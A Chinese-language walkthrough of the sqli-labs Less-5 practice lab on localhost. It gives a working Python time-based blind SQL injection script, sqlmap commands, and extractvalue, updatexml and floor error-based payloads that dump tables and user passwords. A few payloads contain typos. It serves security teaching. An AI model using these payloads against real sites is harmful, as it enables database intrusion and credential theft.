Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
方法1、盲注
查询出正确结果之后就会显示You are in…
错误结果就会输出mysql_error()
跟据正确错误的返回结果不同,我们可以利用布尔型盲注、报错型注入、时间延迟型盲注了
这3种注入的攻击方式工作量都比较大,最好用sqlmap、BurpSuite之类的工具或者自己写脚本来判断
# coding:utf-8
import requests
import datetime
"""
基于时间延迟型盲注攻击脚本
"""
# 获取数据库名长度
def database_len(url):
for i in range(1, 15):
payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec < 1:
print("找到数据库长度:", i)
return i
# 获取数据库名
def database_name(url,database_len):
# 数据库名
name = ''
for j in range(1,database_len+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
# 二分法尽快找到数据库名
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1) --+" % (j,i)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
# 这里间隔时间取2秒,太短了可能出错
if sec >=2:
name += i
print(name)
break
print('database_name:', name)
if __name__ == '__main__':
url = "http://127.0.0.1/sqli-labs-master/Less-5/index.php"
database_len = database_len(url)
database_name(url,database_len)
得到结果
数据库名security
盲注暴力破击表名:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
盲注暴力破击字段名:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))
盲注推荐使用工具-sqlmap
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--dbs 目标服务器中有什么数据库,常用,直接用--dbs
--current-user 当前用户,常用,直接用--current-user
--current-db 当前数据库,常用,直接用--current-db
--tables 目标数据库有什么表,常用,直接用--tables
--columns 目标表中有什么列,常用,直接用--colums
--schema 目标数据库数据库系统管理模式。
--search 搜索列、表和/或数据库名称。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
默认参数批处理探测一下目标漏洞信息
-u "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1" --batch
查询数据库:
-u "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1" --dbs
查询当前数据库
-u "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1" --current-db
得到数据库security
接下来爆破security数据库中的表:
-u "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1" -D security --tables
得到其中的表有emails,referers,uagents,users
接下来爆破security数据库中users表的字段的值:
-u "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1" -D security -T users --dump
方法2、函数报错注入
报错注入常用的三种注入方式flool ,extractvalue、updatexml函数
(一)、extractvalue报错注入
extractvalue函数的基本格式为:ExtractValue(xml_frag, xpath_expr)
extractvalue函数接收两个字符串参数,一个属xml标记片段和xpath表达式xpath expr(xml是一种可扩展标记语言,使用标签来操作,html就是一种常见的标记型语言,xml主要用来存储数据,体现在作配置文件,或者充当小型数据库,在网络中传输数据,类似与HTML语言中的div标签;)(xpath expr 也称为定位器,也就是路径查询)其实简单点来说,第一个参数就是为了上传一个xml文档,第二个参数就是用xpath路径法查找路径,而extractvalue报错注入就是通过在函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;
例如:select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
这里通过concat拼接sql语句并且由于我们第二个参数的位置写入的xpath是不符合语法格式的所以会产生报错,从而达到我们想要查询的内容;第一个参数‘~’ASCII码0x7e,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~。
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(sql语句))))在sql语句处插入我们想要查询的内容的sql语句;
查询数据库:
select username from security.user where id=' and (extractvalue('anything',concat('~',(select database()))));--+
查询当前数据库:
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue('anything',concat('~',(select database()))));--+
得到当前数据库security
接着查询数据库中的表
id=' and (extractvalue('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security')))); --+
得到emails,referers,uagents,users
查询当前数据库security中users表的字段名
id=' and (extractvalue('anything',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))); --+
id=' and (extractvalue('anything',concat('~',(select group_concat(username,'-',password) from security.users)))); --+
但是报错显示的长度有限只有32位
id=’ and (extractvalue(‘anything’,concat(‘~’,(select group_concat(username) from security.users)))); --+
所以我们在中间逐次截取32位数据,可以用substr、left、right等逐次截取32位数据显示。因为最前面一位用’^’拼接了,所以我们读取的数据库中的字符串是31位,substr前1-31位数据:
id=' and updatexml('anything',concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1),0x5e),1) --+
接下来substr前32-62位数据:
63
94
125
156
187
得到所有的账号密码是:
^Dumb~Dumb,Angelina~I-kill-you,D
^ummy~p@ssword,secure~crappy,stu
^pid~stupidity,superman~genious,
^batman~mob!le,admin~admin,admin
^1~admin1,admin2~admin2,admin3~a
^dmin3,dhakkan~dumbo,admin4~admi
^n4^
(二)、updatexml报错注入
updatexml报错注入和extractvalue报错注入的原理基本差不多,都是利用插入不符合函数格式的语句并拼接查询语句从而通过函数报错达到我们查询内容的目的;
基本格式:UpdateXML(xml_target, xpath_expr, new_xml)
xml - taeget:是我们需要操作的xml片段;
xpath -expr:和上面的一样,是需要更新的路径;
xml -xml:是更新后的的xml字段;
(此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配)(参考别人的接受);
其最终还是因为路径产生报错从而达到报错的目的;
格式:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(sql语句)),’anything’))
(和extractvalue函数一样在sql语句处插入我们想要查询内容的sql注入语句)
查询数据库:
id=' and (updatexml('anything',concat('~',(select database())),'anything'));--+
查表名:
?id=' and (updatexml('anything',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' )),'anything'));--+
查字段名:
?id=' and (updatexml('anything',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),'anything')); --+
查字段内容:
?id=' and (updatexml('anything',concat('~',(select group_concat(id,username,password) from security.users)),'anything'));--+
得到结果
(三)floor函数报错
基本格式:
and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
payload处是我们要插入sql注入语句的位置
基础知识:
floor(): 去除小数部分
rand(): 产生随机数
rand(x):每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的
count:COUNT(column_name)函数返回指定列的值的数目(NULL 不计入);COUNT(*) 函数返回表中的记录数
floor报错就是通过使floor ,count,group by 三个函数相遇发生错误从而达到报错注入的目的;
floor 产生报错的语句:select count(*),floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表);
在这里x就是给floor(rand(0)*2)定义了一个别名;也就是说floor(rand(0)*2)就是x,这里是为了使floor(rand(0)*2)与group by 相遇;
而group by x也就是group by floor(rand(0)*2) ,首先floor(rand(0)2)是为了随机产生0,1;虽然生成的数是随机的,但当产生的次数多了也是有规律的,基本就是0110111;所以我们可以看作每次产生的随机数都是固定的;
而floor的原理大概就是count()和group by的共同工作,首先系统会先建立一张虚拟表;group by会读取rand产生的随机数,将其插入的到虚拟表中并记录下次数当再次循环出现一个前面已经出现的随机数系统会再次插入可虚拟表的已经有了这就会出现问题,系统会抛弃多余的,从而出现报错的异常,从而达到报错注入的目的;(其具体原理可以参考大神的讲解:https://blog.csdn.net/qq_43504939/article/details/90046342)但是我们只要大概明白就行了,重要的是sql注入知识的应用;
查询第一个版本、数据库名、用户名:
?id=' union select 1,2,3 from (select count(*),concat((select concat(version(),'-',database(),'-',user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
查询所有版本、数据库名、用户名:
?id=' union select 1,2,3 from (select count(*),concat((select concat(version(),'-',database(),'-',user())),floor(rand(0)*2))x from information_schema.tables group by x)a --+
但是因为报错显示的长度有限,只能看到第一个数据
查询security数据库下的所有表:
?id=1'union select null,count(*),concat((select table_name from information_schema.columns where table_schema= 'security'),floor(rand()*2))as a from information_schema.tables group by a;--+
提示子查询返回了超过一行数据,所有我们需要用 limit 0,1限制数据一行一行的返回:
?id=1'union select null,count(*),concat((select table_name from information_schema.columns where table_schema= 'security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a;--+
查字段:
?id=1'union select null,count(*),concat((select column_name from information_schema.columns where table_name= 'users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a;--+
查字段数据:
?id=1'union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23